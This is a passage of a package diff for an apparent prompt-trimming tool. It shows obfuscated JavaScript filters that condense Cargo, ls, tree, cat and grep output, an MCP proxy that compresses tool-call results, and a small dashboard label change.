_0x505e27=['\x20passed,\x20','\x0aErrors:','10KXVSKf','\x20passed','\x20\x20\x20\x20','\x0aWarnings:','error:','\x20\x20...\x20+','\x20crates\x20successfully','Cargo:\x20','27902EFSFwZ','Cargo\x20test:\x20','replace','min','thread','795753NoMbNR','\x20ignored','trim','2136206AMHcFJ','right:','warning[','30139137mHRyir','filterCargoTest','test\x20result:','split','\x20errors,\x20','\x20crates,\x20','9538626VZaChg','\x20failed,\x20','1815915UJMRtB','__esModule','\x20more\x20errors','Cargo\x20test:\x20all\x20tests\x20passed','slice','Cargo:\x20compiled\x20','\x20warnings','test\x20result:\x20ok','assert','includes','startsWith','length','3xJbrYl','\x20----','filterCargoBuild','32ieiVjd','left:','----\x20','3880620XhBqcl','failures:','Compiling\x20','----\x20failures\x20----','join','push'];a0_0x44d8=function(){return _0x505e27;};return a0_0x44d8();}function a0_0x5d8b(_0x2278b7,_0x339566){_0x2278b7=_0x2278b7-0x173;const _0x44d802=a0_0x44d8();let _0x5d8b4f=_0x44d802[_0x2278b7];return _0x5d8b4f;}function filterCargoBuild(_0x446d78){const _0x287d0c=a0_0x4956c4,_0x4fdb80=_0x446d78[_0x287d0c(0x17d)]('\x0a'),_0x3ac58c=[],_0x4daab9=[];let _0x1e7eaa=0x0;for(const _0x461721 of _0x4fdb80){const _0x38aade=_0x461721['trim']();if(_0x38aade[_0x287d0c(0x18c)](_0x287d0c(0x196)))_0x1e7eaa++;else{if(_0x38aade[_0x287d0c(0x18c)](_0x287d0c(0x179))||_0x38aade[_0x287d0c(0x18c)]('warning:'))_0x3ac58c[_0x287d0c(0x199)](_0x38aade);else{if(_0x38aade[_0x287d0c(0x18c)]('error[')||_0x38aade[_0x287d0c(0x18c)](_0x287d0c(0x1a0)))_0x4daab9['push'](_0x38aade);}}}if(_0x4daab9[_0x287d0c(0x18d)]===0x0&&_0x3ac58c[_0x287d0c(0x18d)]===0x0)return _0x1e7eaa>0x0?_0x287d0c(0x187)+_0x1e7eaa+_0x287d0c(0x1a2):_0x446d78[_0x287d0c(0x176)]();const _0x367f47=[];if(_0x4daab9['length']>0x0){_0x367f47[_0x287d0c(0x199)](_0x287d0c(0x1a3)+_0x4daab9[_0x287d0c(0x18d)]+_0x287d0c(0x17e)+_0x3ac58c[_0x287d0c(0x18d)]+_0x287d0c(0x188)),_0x367f47[_0x287d0c(0x199)](_0x287d0c(0x19b));for(const _0x3d8e77 of _0x4daab9[_0x287d0c(0x186)](0x0,0x5))_0x367f47[_0x287d0c(0x199)]('\x20\x20'+_0x3d8e77);if(_0x4daab9[_0x287d0c(0x18d)]>0x5)_0x367f47[_0x287d0c(0x199)]('\x20\x20...\x20+'+(_0x4daab9[_0x287d0c(0x18d)]-0x5)+_0x287d0c(0x184));}else _0x367f47[_0x287d0c(0x199)](_0x287d0c(0x187)+_0x1e7eaa+_0x287d0c(0x17f)+_0x3ac58c['length']+'\x20warnings');if(_0x3ac58c[_0x287d0c(0x18d)]>0x0&&_0x3ac58c[_0x287d0c(0x18d)]<=0x5){_0x367f47['push'](_0x287d0c(0x19f));for(const _0x2af751 of _0x3ac58c)_0x367f47[_0x287d0c(0x199)]('\x20\x20'+_0x2af751);}else _0x3ac58c[_0x287d0c(0x18d)]>0x5&&_0x367f47[_0x287d0c(0x199)]('\x0a('+_0x3ac58c['length']+'\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)');return _0x367f47[_0x287d0c(0x198)]('\x0a');}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x10a451=a0_0x593b;(function(_0x1737af,_0x5cdb86){const _0x50c3a4=a0_0x593b,_0x1df01b=_0x1737af();while(!![]){try{const _0x3b3d26=-parseInt(_0x50c3a4(0x156))/0x1+parseInt(_0x50c3a4(0x177))/0x2*(-parseInt(_0x50c3a4(0x158))/0x3)+parseInt(_0x50c3a4(0x159))/0x4+parseInt(_0x50c3a4(0x178))/0x5+-parseInt(_0x50c3a4(0x164))/0x6*(-parseInt(_0x50c3a4(0x171))/0x7)+parseInt(_0x50c3a4(0x15d))/0x8*(-parseInt(_0x50c3a4(0x157))/0x9)+parseInt(_0x50c3a4(0x151))/0xa;if(_0x3b3d26===_0x5cdb86)break;else _0x1df01b['push'](_0x1df01b['shift']());}catch(_0x1a15bf){_0x1df01b['push'](_0x1df01b['shift']());}}}(a0_0x18e4,0xd7ba0));Object[a0_0x10a451(0x155)](exports,a0_0x10a451(0x150),{'value':!![]}),exports['filterLs']=filterLs,exports[a0_0x10a451(0x160)]=filterTree,exports[a0_0x10a451(0x16c)]=filterCat,exports[a0_0x10a451(0x176)]=filterGrep;function a0_0x593b(_0x1d1eb2,_0x40664b){_0x1d1eb2=_0x1d1eb2-0x150;const _0x18e48c=a0_0x18e4();let _0x593b01=_0x18e48c[_0x1d1eb2];return _0x593b01;}function filterLs(_0x12bce6){const _0x2fe64a=a0_0x10a451,_0x491039=_0x12bce6[_0x2fe64a(0x152)]('\x0a')['filter'](_0x2f0f33=>_0x2f0f33['trim']()['length']>0x0);if(_0x491039['length']===0x0)return _0x2fe64a(0x162);if(_0x491039['length']<=0x1e)return _0x12bce6[_0x2fe64a(0x168)]();const _0x1999f4=[],_0x1f6473=[];for(const _0x17e251 of _0x491039){const _0x67e3a6=_0x17e251[_0x2fe64a(0x168)]();if(_0x67e3a6['startsWith'](_0x2fe64a(0x153))||_0x67e3a6['startsWith']('d')&&_0x67e3a6[_0x2fe64a(0x17a)]('..'))continue;_0x67e3a6[_0x2fe64a(0x154)]('/')||_0x67e3a6[_0x2fe64a(0x16a)]('d')&&_0x67e3a6[_0x2fe64a(0x17a)]('\x20')?_0x1999f4['push'](_0x67e3a6):_0x1f6473[_0x2fe64a(0x15a)](_0x67e3a6);}const _0x5a696a=[];return _0x1999f4['length']>0x0&&(_0x1999f4[_0x2fe64a(0x172)]<=0xf?_0x5a696a[_0x2fe64a(0x15a)](..._0x1999f4):(_0x5a696a[_0x2fe64a(0x15a)](..._0x1999f4['slice'](0x0,0xa)),_0x5a696a[_0x2fe64a(0x15a)]('...\x20+'+(_0x1999f4[_0x2fe64a(0x172)]-0xa)+_0x2fe64a(0x17c)))),_0x1f6473['length']>0x0&&(_0x1f6473[_0x2fe64a(0x172)]<=0x14?_0x5a696a[_0x2fe64a(0x15a)](..._0x1f6473):(_0x5a696a[_0x2fe64a(0x15a)](..._0x1f6473[_0x2fe64a(0x170)](0x0,0xf)),_0x5a696a[_0x2fe64a(0x15a)]('...\x20+'+(_0x1f6473[_0x2fe64a(0x172)]-0xf)+_0x2fe64a(0x169)))),_0x5a696a['push']('\x0a('+_0x1999f4['length']+_0x2fe64a(0x16e)+_0x1f6473[_0x2fe64a(0x172)]+_0x2fe64a(0x174)),_0x5a696a[_0x2fe64a(0x175)]('\x0a');}function filterTree(_0x3cf36a){const _0x48e96a=a0_0x10a451,_0x579bad=_0x3cf36a[_0x48e96a(0x152)]('\x0a');if(_0x579bad['length']<=0x32)return _0x3cf36a['trim']();const _0x5edde2=[];let _0x4dbbfa=0x0,_0x4520db=0x0,_0x86f0f4=0x0;for(const _0x4556ed of _0x579bad){const _0x3c2960=_0x4556ed[_0x48e96a(0x179)](/(\d+)\s+director/),_0x764ec4=_0x4556ed[_0x48e96a(0x179)](/(\d+)\s+file/);if(_0x3c2960)_0x86f0f4=parseInt(_0x3c2960[0x1]);if(_0x764ec4)_0x4520db=parseInt(_0x764ec4[0x1]);const _0x56d173=(_0x4556ed[_0x48e96a(0x179)](/^[│├└\s─]+/)||[''])[0x0][_0x48e96a(0x172)];_0x56d173<=0x4&&(_0x5edde2['push'](_0x4556ed),_0x4dbbfa++);}return _0x579bad[_0x48e96a(0x172)]>_0x5edde2[_0x48e96a(0x172)]&&_0x5edde2[_0x48e96a(0x15a)](_0x48e96a(0x15b)+_0x86f0f4+'\x20directories,\x20'+_0x4520db+_0x48e96a(0x166)),_0x5edde2[_0x48e96a(0x175)]('\x0a');}function a0_0x18e4(){const _0x4730ab=['14409QiHXGn','1964874VKjnxn','4686008Bvslxh','push','\x0a...\x20(','substring','8104OMjPSz','\x20more\x20matches','\x0a...\x20[','filterTree','\x20lines\x20truncated]\x20...\x0a','Empty\x20directory','keys','1143642jjNTqQ','indexOf','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','\x20lines\x20total)','trim','\x20more\x20files','startsWith','...\x20+','filterCat','\x20more\x20files\x20with\x20matches','\x20directories,\x20','\x20matches\x20in\x20this\x20file)','slice','56mTLiYP','length','No\x20matches\x20found','\x20files)','join','filterGrep','4klUyTj','2606670hoMYOE','match','includes','\x20matches\x20across\x20','\x20more\x20directories','filter','__esModule','9694510KmGJmX','split','total\x20','endsWith','defineProperty','371798VHMlJr'];a0_0x18e4=function(){return _0x4730ab;};return a0_0x18e4();}function filterCat(_0x47bb04){const _0x35823a=a0_0x10a451,_0x502652=_0x47bb04[_0x35823a(0x152)]('\x0a');if(_0x502652[_0x35823a(0x172)]<=0x64)return _0x47bb04;const _0x4c89d6=[];return _0x4c89d6[_0x35823a(0x15a)](..._0x502652['slice'](0x0,0x32)),_0x4c89d6[_0x35823a(0x15a)](_0x35823a(0x15f)+(_0x502652[_0x35823a(0x172)]-0x50)+_0x35823a(0x161)),_0x4c89d6['push'](..._0x502652[_0x35823a(0x170)](-0x1e)),_0x4c89d6[_0x35823a(0x15a)]('\x0a('+_0x502652[_0x35823a(0x172)]+_0x35823a(0x167)),_0x4c89d6[_0x35823a(0x175)]('\x0a');}function filterGrep(_0x466ebd){const _0x42dbe7=a0_0x10a451,_0x23abc1=_0x466ebd['split']('\x0a')[_0x42dbe7(0x17d)](_0x47bc03=>_0x47bc03[_0x42dbe7(0x168)]()['length']>0x0);if(_0x23abc1['length']===0x0)return _0x42dbe7(0x173);if(_0x23abc1['length']<=0x32)return _0x466ebd['trim']();const _0x263c21={},_0x3bf0a2=[];for(const _0x2d8a98 of _0x23abc1){const _0x26e60b=_0x2d8a98[_0x42dbe7(0x165)](':');if(_0x26e60b>0x0&&_0x26e60b<0xc8){const _0x2dd8d2=_0x2d8a98['substring'](0x0,_0x26e60b);if(_0x2dd8d2[_0x42dbe7(0x17a)]('/')||_0x2dd8d2['includes']('\x5c')||_0x2dd8d2[_0x42dbe7(0x17a)]('.')){if(!_0x263c21[_0x2dd8d2])_0x263c21[_0x2dd8d2]=[];_0x263c21[_0x2dd8d2][_0x42dbe7(0x15a)](_0x2d8a98[_0x42dbe7(0x15c)](_0x26e60b+0x1)[_0x42dbe7(0x168)]());continue;}}_0x3bf0a2[_0x42dbe7(0x15a)](_0x2d8a98);}const _0x3331cd=[],_0x639a1c=Object[_0x42dbe7(0x163)](_0x263c21);if(_0x639a1c[_0x42dbe7(0x172)]>0x0){const _0x3d84ba=0x14,_0x39a964=_0x639a1c[_0x42dbe7(0x170)](0x0,_0x3d84ba);for(const _0x2d78a8 of _0x39a964){const _0x1bd9e0=_0x263c21[_0x2d78a8];if(_0x1bd9e0[_0x42dbe7(0x172)]<=0x3)for(const _0x5574ba of _0x1bd9e0){_0x3331cd['push'](_0x2d78a8+':\x20'+_0x5574ba);}else _0x3331cd[_0x42dbe7(0x15a)](_0x2d78a8+':\x20'+_0x1bd9e0[0x0]),_0x3331cd[_0x42dbe7(0x15a)](_0x2d78a8+':\x20...\x20('+_0x1bd9e0['length']+_0x42dbe7(0x16f));}_0x639a1c[_0x42dbe7(0x172)]>_0x3d84ba&&_0x3331cd[_0x42dbe7(0x15a)](_0x42dbe7(0x16b)+(_0x639a1c['length']-_0x3d84ba)+_0x42dbe7(0x16d));}if(_0x3bf0a2[_0x42dbe7(0x172)]>0x0){const _0x180d99=0x1e;_0x3331cd[_0x42dbe7(0x15a)](..._0x3bf0a2['slice'](0x0,_0x180d99)),_0x3bf0a2[_0x42dbe7(0x172)]>_0x180d99&&_0x3331cd['push']('...\x20+'+(_0x3bf0a2[_0x42dbe7(0x172)]-_0x180d99)+_0x42dbe7(0x15e));}const _0x22c68f=_0x23abc1[_0x42dbe7(0x172)];return _0x3331cd[_0x42dbe7(0x15a)]('\x0a('+_0x22c68f+_0x42dbe7(0x17b)+(_0x639a1c[_0x42dbe7(0x172)]||'?')+_0x42dbe7(0x174)),_0x3331cd['join']('\x0a');}
1
+ 'use strict';const a0_0x208058=a0_0x22d9;function a0_0x5571(){const _0x1b09cd=['split','564NKdGmp','10719GrDtgU','\x20directories,\x20','filter','15170990TBWfLs','\x20more\x20directories','filterTree','\x20lines\x20total)','startsWith','substring','6TzZgkX','\x0a...\x20(','No\x20matches\x20found','\x0a...\x20[','1166469KDqmAj','filterGrep','\x20files)','includes','push','9054801hcVVbf','1130QyFfHg',':\x20...\x20(','indexOf','endsWith','\x20matches\x20across\x20','total\x20','join','defineProperty','\x20more\x20matches','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','slice','match','filterCat','keys','\x20matches\x20in\x20this\x20file)','trim','5336838OEqeth','Empty\x20directory','...\x20+','263608ygEhIl','__esModule','length','8828ujtbJw'];a0_0x5571=function(){return _0x1b09cd;};return a0_0x5571();}(function(_0x3bb89e,_0x108cc2){const _0x2c58bc=a0_0x22d9,_0x2c6dc1=_0x3bb89e();while(!![]){try{const _0x2c241e=-parseInt(_0x2c58bc(0x10d))/0x1+-parseInt(_0x2c58bc(0xff))/0x2*(parseInt(_0x2c58bc(0x100))/0x3)+parseInt(_0x2c58bc(0xfd))/0x4*(-parseInt(_0x2c58bc(0x113))/0x5)+parseInt(_0x2c58bc(0x109))/0x6*(parseInt(_0x2c58bc(0x112))/0x7)+-parseInt(_0x2c58bc(0xfa))/0x8+parseInt(_0x2c58bc(0xf7))/0x9+parseInt(_0x2c58bc(0x103))/0xa;if(_0x2c241e===_0x108cc2)break;else _0x2c6dc1['push'](_0x2c6dc1['shift']());}catch(_0x14776b){_0x2c6dc1['push'](_0x2c6dc1['shift']());}}}(a0_0x5571,0xaa5ec));Object[a0_0x208058(0x11a)](exports,a0_0x208058(0xfb),{'value':!![]}),exports['filterLs']=filterLs,exports[a0_0x208058(0x105)]=filterTree,exports[a0_0x208058(0x11f)]=filterCat,exports[a0_0x208058(0x10e)]=filterGrep;function a0_0x22d9(_0x109f9b,_0x44be4b){_0x109f9b=_0x109f9b-0xf6;const _0x5571f6=a0_0x5571();let _0x22d924=_0x5571f6[_0x109f9b];return _0x22d924;}function filterLs(_0x4ced30){const _0x2fa6aa=a0_0x208058,_0x17e787=_0x4ced30[_0x2fa6aa(0xfe)]('\x0a')[_0x2fa6aa(0x102)](_0x32a489=>_0x32a489[_0x2fa6aa(0xf6)]()[_0x2fa6aa(0xfc)]>0x0);if(_0x17e787[_0x2fa6aa(0xfc)]===0x0)return _0x2fa6aa(0xf8);if(_0x17e787[_0x2fa6aa(0xfc)]<=0x1e)return _0x4ced30['trim']();const _0x82dc0a=[],_0x124f81=[];for(const _0x2cf6b9 of _0x17e787){const _0x8de3c8=_0x2cf6b9[_0x2fa6aa(0xf6)]();if(_0x8de3c8['startsWith'](_0x2fa6aa(0x118))||_0x8de3c8[_0x2fa6aa(0x107)]('d')&&_0x8de3c8[_0x2fa6aa(0x110)]('..'))continue;_0x8de3c8[_0x2fa6aa(0x116)]('/')||_0x8de3c8[_0x2fa6aa(0x107)]('d')&&_0x8de3c8['includes']('\x20')?_0x82dc0a[_0x2fa6aa(0x111)](_0x8de3c8):_0x124f81[_0x2fa6aa(0x111)](_0x8de3c8);}const _0x31bad7=[];return _0x82dc0a[_0x2fa6aa(0xfc)]>0x0&&(_0x82dc0a[_0x2fa6aa(0xfc)]<=0xf?_0x31bad7['push'](..._0x82dc0a):(_0x31bad7['push'](..._0x82dc0a[_0x2fa6aa(0x11d)](0x0,0xa)),_0x31bad7[_0x2fa6aa(0x111)](_0x2fa6aa(0xf9)+(_0x82dc0a[_0x2fa6aa(0xfc)]-0xa)+_0x2fa6aa(0x104)))),_0x124f81[_0x2fa6aa(0xfc)]>0x0&&(_0x124f81[_0x2fa6aa(0xfc)]<=0x14?_0x31bad7['push'](..._0x124f81):(_0x31bad7['push'](..._0x124f81['slice'](0x0,0xf)),_0x31bad7[_0x2fa6aa(0x111)](_0x2fa6aa(0xf9)+(_0x124f81[_0x2fa6aa(0xfc)]-0xf)+'\x20more\x20files'))),_0x31bad7[_0x2fa6aa(0x111)]('\x0a('+_0x82dc0a[_0x2fa6aa(0xfc)]+_0x2fa6aa(0x101)+_0x124f81[_0x2fa6aa(0xfc)]+_0x2fa6aa(0x10f)),_0x31bad7[_0x2fa6aa(0x119)]('\x0a');}function filterTree(_0x188d59){const _0x284d25=a0_0x208058,_0x2b988e=_0x188d59[_0x284d25(0xfe)]('\x0a');if(_0x2b988e[_0x284d25(0xfc)]<=0x32)return _0x188d59['trim']();const _0x31eeff=[];let _0x473121=0x0,_0x3b0c18=0x0,_0x1b57cf=0x0;for(const _0x15994a of _0x2b988e){const _0x4c3b82=_0x15994a[_0x284d25(0x11e)](/(\d+)\s+director/),_0x5e8aa6=_0x15994a['match'](/(\d+)\s+file/);if(_0x4c3b82)_0x1b57cf=parseInt(_0x4c3b82[0x1]);if(_0x5e8aa6)_0x3b0c18=parseInt(_0x5e8aa6[0x1]);const _0x538e02=(_0x15994a[_0x284d25(0x11e)](/^[│├└\s─]+/)||[''])[0x0]['length'];_0x538e02<=0x4&&(_0x31eeff[_0x284d25(0x111)](_0x15994a),_0x473121++);}return _0x2b988e[_0x284d25(0xfc)]>_0x31eeff[_0x284d25(0xfc)]&&_0x31eeff[_0x284d25(0x111)](_0x284d25(0x10a)+_0x1b57cf+'\x20directories,\x20'+_0x3b0c18+_0x284d25(0x11c)),_0x31eeff['join']('\x0a');}function filterCat(_0x13b25e){const _0x1ad28c=a0_0x208058,_0x11e684=_0x13b25e[_0x1ad28c(0xfe)]('\x0a');if(_0x11e684['length']<=0x64)return _0x13b25e;const _0x86e525=[];return _0x86e525[_0x1ad28c(0x111)](..._0x11e684[_0x1ad28c(0x11d)](0x0,0x32)),_0x86e525['push'](_0x1ad28c(0x10c)+(_0x11e684[_0x1ad28c(0xfc)]-0x50)+'\x20lines\x20truncated]\x20...\x0a'),_0x86e525[_0x1ad28c(0x111)](..._0x11e684[_0x1ad28c(0x11d)](-0x1e)),_0x86e525['push']('\x0a('+_0x11e684['length']+_0x1ad28c(0x106)),_0x86e525['join']('\x0a');}function filterGrep(_0x9c0aa2){const _0x31399e=a0_0x208058,_0x1749e1=_0x9c0aa2[_0x31399e(0xfe)]('\x0a')['filter'](_0x221c0c=>_0x221c0c[_0x31399e(0xf6)]()[_0x31399e(0xfc)]>0x0);if(_0x1749e1[_0x31399e(0xfc)]===0x0)return _0x31399e(0x10b);if(_0x1749e1[_0x31399e(0xfc)]<=0x32)return _0x9c0aa2[_0x31399e(0xf6)]();const _0x4f87f9={},_0x27c3c6=[];for(const _0x116d74 of _0x1749e1){const _0x24cd4c=_0x116d74[_0x31399e(0x115)](':');if(_0x24cd4c>0x0&&_0x24cd4c<0xc8){const _0x73e8e2=_0x116d74[_0x31399e(0x108)](0x0,_0x24cd4c);if(_0x73e8e2[_0x31399e(0x110)]('/')||_0x73e8e2['includes']('\x5c')||_0x73e8e2[_0x31399e(0x110)]('.')){if(!_0x4f87f9[_0x73e8e2])_0x4f87f9[_0x73e8e2]=[];_0x4f87f9[_0x73e8e2][_0x31399e(0x111)](_0x116d74[_0x31399e(0x108)](_0x24cd4c+0x1)[_0x31399e(0xf6)]());continue;}}_0x27c3c6[_0x31399e(0x111)](_0x116d74);}const _0x258d38=[],_0x4d9e0f=Object[_0x31399e(0x120)](_0x4f87f9);if(_0x4d9e0f[_0x31399e(0xfc)]>0x0){const _0x5b9f57=0x14,_0x3f311f=_0x4d9e0f['slice'](0x0,_0x5b9f57);for(const _0x297556 of _0x3f311f){const _0x3caa9e=_0x4f87f9[_0x297556];if(_0x3caa9e['length']<=0x3)for(const _0x31e1b1 of _0x3caa9e){_0x258d38[_0x31399e(0x111)](_0x297556+':\x20'+_0x31e1b1);}else _0x258d38[_0x31399e(0x111)](_0x297556+':\x20'+_0x3caa9e[0x0]),_0x258d38[_0x31399e(0x111)](_0x297556+_0x31399e(0x114)+_0x3caa9e[_0x31399e(0xfc)]+_0x31399e(0x121));}_0x4d9e0f['length']>_0x5b9f57&&_0x258d38[_0x31399e(0x111)](_0x31399e(0xf9)+(_0x4d9e0f[_0x31399e(0xfc)]-_0x5b9f57)+'\x20more\x20files\x20with\x20matches');}if(_0x27c3c6['length']>0x0){const _0x1af85d=0x1e;_0x258d38[_0x31399e(0x111)](..._0x27c3c6[_0x31399e(0x11d)](0x0,_0x1af85d)),_0x27c3c6[_0x31399e(0xfc)]>_0x1af85d&&_0x258d38[_0x31399e(0x111)](_0x31399e(0xf9)+(_0x27c3c6[_0x31399e(0xfc)]-_0x1af85d)+_0x31399e(0x11b));}const _0x306f97=_0x1749e1[_0x31399e(0xfc)];return _0x258d38[_0x31399e(0x111)]('\x0a('+_0x306f97+_0x31399e(0x117)+(_0x4d9e0f[_0x31399e(0xfc)]||'?')+_0x31399e(0x10f)),_0x258d38[_0x31399e(0x119)]('\x0a');}
package/index.html CHANGED
@@ -456,7 +456,7 @@
456
456
  <main>
457
457
  <div class="metrics-grid">
458
458
  <div class="card" style="box-shadow: 0 4px 20px rgba(59, 130, 246, 0.05); border-left: 4px solid #3B82F6;">
459
- <div class="card-label">Shaved Cost</div>
459
+ <div class="card-label">Trimmed Cost</div>
460
460
  <div class="card-value" id="val-comp-cost" style="color: #3B82F6;">$0.0000</div>
461
461
  <div class="card-subtext">actual cost paid after compression</div>
462
462
  </div>
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x5672(_0x5e0c2c,_0x501b97){_0x5e0c2c=_0x5e0c2c-0x138;const _0x57e1c8=a0_0x57e1();let _0x567225=_0x57e1c8[_0x5e0c2c];return _0x567225;}const a0_0x1ca336=a0_0x5672;(function(_0x1702c3,_0xdc4bba){const _0x983e9c=a0_0x5672,_0x3cad48=_0x1702c3();while(!![]){try{const _0x4f1f51=-parseInt(_0x983e9c(0x162))/0x1+parseInt(_0x983e9c(0x15d))/0x2+-parseInt(_0x983e9c(0x14c))/0x3*(-parseInt(_0x983e9c(0x157))/0x4)+-parseInt(_0x983e9c(0x165))/0x5+-parseInt(_0x983e9c(0x145))/0x6+-parseInt(_0x983e9c(0x144))/0x7*(parseInt(_0x983e9c(0x146))/0x8)+parseInt(_0x983e9c(0x15b))/0x9;if(_0x4f1f51===_0xdc4bba)break;else _0x3cad48['push'](_0x3cad48['shift']());}catch(_0x3eb647){_0x3cad48['push'](_0x3cad48['shift']());}}}(a0_0x57e1,0x5935a));function a0_0x57e1(){const _0x5165af=['./filters','19922742usiGDr','mcp-tool-call','109854Gkqxgg','message','__setModuleDefault','logExecution','default','474241wxnhwP','length','isArray','3545565yMpufn','write','redaction_enabled','defineProperty','exit','__createBinding','tracker','call','string','stdout','getOwnPropertyDescriptor','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','getConfig','spawn','text','inherit','create','./tracker','readline','7FGRZWs','1280568ZUeksi','5548024HHpGXS','child_process','2.0','jsonrpc','stdin','createInterface','234VIIagi','compressOutput','runMcpProxy','trim','pipe','configurable','__esModule','error','type','result','parse','9596pxuQNr','writable','content'];a0_0x57e1=function(){return _0x5165af;};return a0_0x57e1();}var __createBinding=this&&this[a0_0x1ca336(0x16a)]||(Object[a0_0x1ca336(0x141)]?function(_0x1f3029,_0x591b5d,_0x2cace1,_0x2f73f5){const _0x3d8308=a0_0x1ca336;if(_0x2f73f5===undefined)_0x2f73f5=_0x2cace1;var _0x2d10d4=Object[_0x3d8308(0x13b)](_0x591b5d,_0x2cace1);(!_0x2d10d4||('get'in _0x2d10d4?!_0x591b5d['__esModule']:_0x2d10d4[_0x3d8308(0x158)]||_0x2d10d4[_0x3d8308(0x151)]))&&(_0x2d10d4={'enumerable':!![],'get':function(){return _0x591b5d[_0x2cace1];}}),Object['defineProperty'](_0x1f3029,_0x2f73f5,_0x2d10d4);}:function(_0x446532,_0x469cdf,_0xbe8c69,_0x1a237c){if(_0x1a237c===undefined)_0x1a237c=_0xbe8c69;_0x446532[_0x1a237c]=_0x469cdf[_0xbe8c69];}),__setModuleDefault=this&&this[a0_0x1ca336(0x15f)]||(Object[a0_0x1ca336(0x141)]?function(_0x1ff3e4,_0x23c780){const _0x37be4d=a0_0x1ca336;Object[_0x37be4d(0x168)](_0x1ff3e4,_0x37be4d(0x161),{'enumerable':!![],'value':_0x23c780});}:function(_0x366634,_0x13cc24){_0x366634['default']=_0x13cc24;}),__importStar=this&&this['__importStar']||(function(){var _0x5a1139=function(_0x180925){return _0x5a1139=Object['getOwnPropertyNames']||function(_0x8dd6ab){const _0x43fef2=a0_0x5672;var _0x298eab=[];for(var _0x326b0d in _0x8dd6ab)if(Object['prototype']['hasOwnProperty'][_0x43fef2(0x138)](_0x8dd6ab,_0x326b0d))_0x298eab[_0x298eab[_0x43fef2(0x163)]]=_0x326b0d;return _0x298eab;},_0x5a1139(_0x180925);};return function(_0x50ae34){const _0x2920c1=a0_0x5672;if(_0x50ae34&&_0x50ae34[_0x2920c1(0x152)])return _0x50ae34;var _0x347ea9={};if(_0x50ae34!=null){for(var _0x846167=_0x5a1139(_0x50ae34),_0x4fe552=0x0;_0x4fe552<_0x846167[_0x2920c1(0x163)];_0x4fe552++)if(_0x846167[_0x4fe552]!==_0x2920c1(0x161))__createBinding(_0x347ea9,_0x50ae34,_0x846167[_0x4fe552]);}return __setModuleDefault(_0x347ea9,_0x50ae34),_0x347ea9;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x1ca336(0x14e)]=runMcpProxy;const child_process_1=require(a0_0x1ca336(0x147)),readline=__importStar(require(a0_0x1ca336(0x143))),filters_1=require(a0_0x1ca336(0x15a)),tracker_1=require(a0_0x1ca336(0x142));function runMcpProxy(_0x2fb390,_0x5a0043){const _0x2ebe1f=a0_0x1ca336,_0x5dcf99=(0x0,child_process_1[_0x2ebe1f(0x13e)])(_0x2fb390,_0x5a0043,{'stdio':[_0x2ebe1f(0x150),_0x2ebe1f(0x150),_0x2ebe1f(0x140)]});process[_0x2ebe1f(0x14a)][_0x2ebe1f(0x150)](_0x5dcf99[_0x2ebe1f(0x14a)]);const _0x1b1b78=readline[_0x2ebe1f(0x14b)]({'input':_0x5dcf99[_0x2ebe1f(0x13a)],'terminal':![]});_0x1b1b78['on']('line',_0x5109e8=>{const _0x2d3f43=_0x2ebe1f;try{const _0x5aa4bf=JSON[_0x2d3f43(0x156)](_0x5109e8);if(_0x5aa4bf&&_0x5aa4bf[_0x2d3f43(0x149)]===_0x2d3f43(0x148)&&_0x5aa4bf['id']!==undefined&&_0x5aa4bf[_0x2d3f43(0x155)]&&Array[_0x2d3f43(0x164)](_0x5aa4bf[_0x2d3f43(0x155)][_0x2d3f43(0x159)])){let _0xc370a5=![];for(const _0x5a8b37 of _0x5aa4bf[_0x2d3f43(0x155)][_0x2d3f43(0x159)]){if(_0x5a8b37[_0x2d3f43(0x154)]===_0x2d3f43(0x13f)&&typeof _0x5a8b37[_0x2d3f43(0x13f)]===_0x2d3f43(0x139)&&_0x5a8b37[_0x2d3f43(0x13f)][_0x2d3f43(0x14f)]()[_0x2d3f43(0x163)]>0x0){const _0x40c434=_0x5a8b37[_0x2d3f43(0x13f)],_0x4c28be=(0x0,filters_1[_0x2d3f43(0x14d)])(_0x2d3f43(0x15c),_0x40c434,'',tracker_1[_0x2d3f43(0x16b)][_0x2d3f43(0x13d)]()[_0x2d3f43(0x167)]);tracker_1['tracker'][_0x2d3f43(0x160)]('mcp\x20tool\x20(id:\x20'+_0x5aa4bf['id']+')',_0x40c434,_0x4c28be,0x0),_0x5a8b37['text']=_0x4c28be,_0xc370a5=!![];}}_0xc370a5?process['stdout'][_0x2d3f43(0x166)](JSON['stringify'](_0x5aa4bf)+'\x0a'):process[_0x2d3f43(0x13a)][_0x2d3f43(0x166)](_0x5109e8+'\x0a');}else process[_0x2d3f43(0x13a)]['write'](_0x5109e8+'\x0a');}catch{process['stdout'][_0x2d3f43(0x166)](_0x5109e8+'\x0a');}}),_0x5dcf99['on']('close',_0x38d8ec=>{const _0x108eda=_0x2ebe1f;process[_0x108eda(0x169)](_0x38d8ec||0x0);}),_0x5dcf99['on']('error',_0xd7beba=>{const _0x2e9446=_0x2ebe1f;console[_0x2e9446(0x153)](_0x2e9446(0x13c)+_0xd7beba[_0x2e9446(0x15e)]),process[_0x2e9446(0x169)](0x1);});}
1
+ 'use strict';const a0_0x409785=a0_0x29d1;(function(_0x433eeb,_0x34c63b){const _0x74adbe=a0_0x29d1,_0x586ace=_0x433eeb();while(!![]){try{const _0x23ae18=parseInt(_0x74adbe(0x14c))/0x1+parseInt(_0x74adbe(0x165))/0x2+-parseInt(_0x74adbe(0x153))/0x3+-parseInt(_0x74adbe(0x14e))/0x4+parseInt(_0x74adbe(0x168))/0x5*(parseInt(_0x74adbe(0x150))/0x6)+-parseInt(_0x74adbe(0x167))/0x7+-parseInt(_0x74adbe(0x155))/0x8;if(_0x23ae18===_0x34c63b)break;else _0x586ace['push'](_0x586ace['shift']());}catch(_0x1c8273){_0x586ace['push'](_0x586ace['shift']());}}}(a0_0x173b,0xef7be));function a0_0x29d1(_0x16887f,_0x30e68b){_0x16887f=_0x16887f-0x13e;const _0x173b19=a0_0x173b();let _0x29d1d8=_0x173b19[_0x16887f];return _0x29d1d8;}var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x18d5d4,_0x1c1789,_0x2f435c,_0xd8d8d3){const 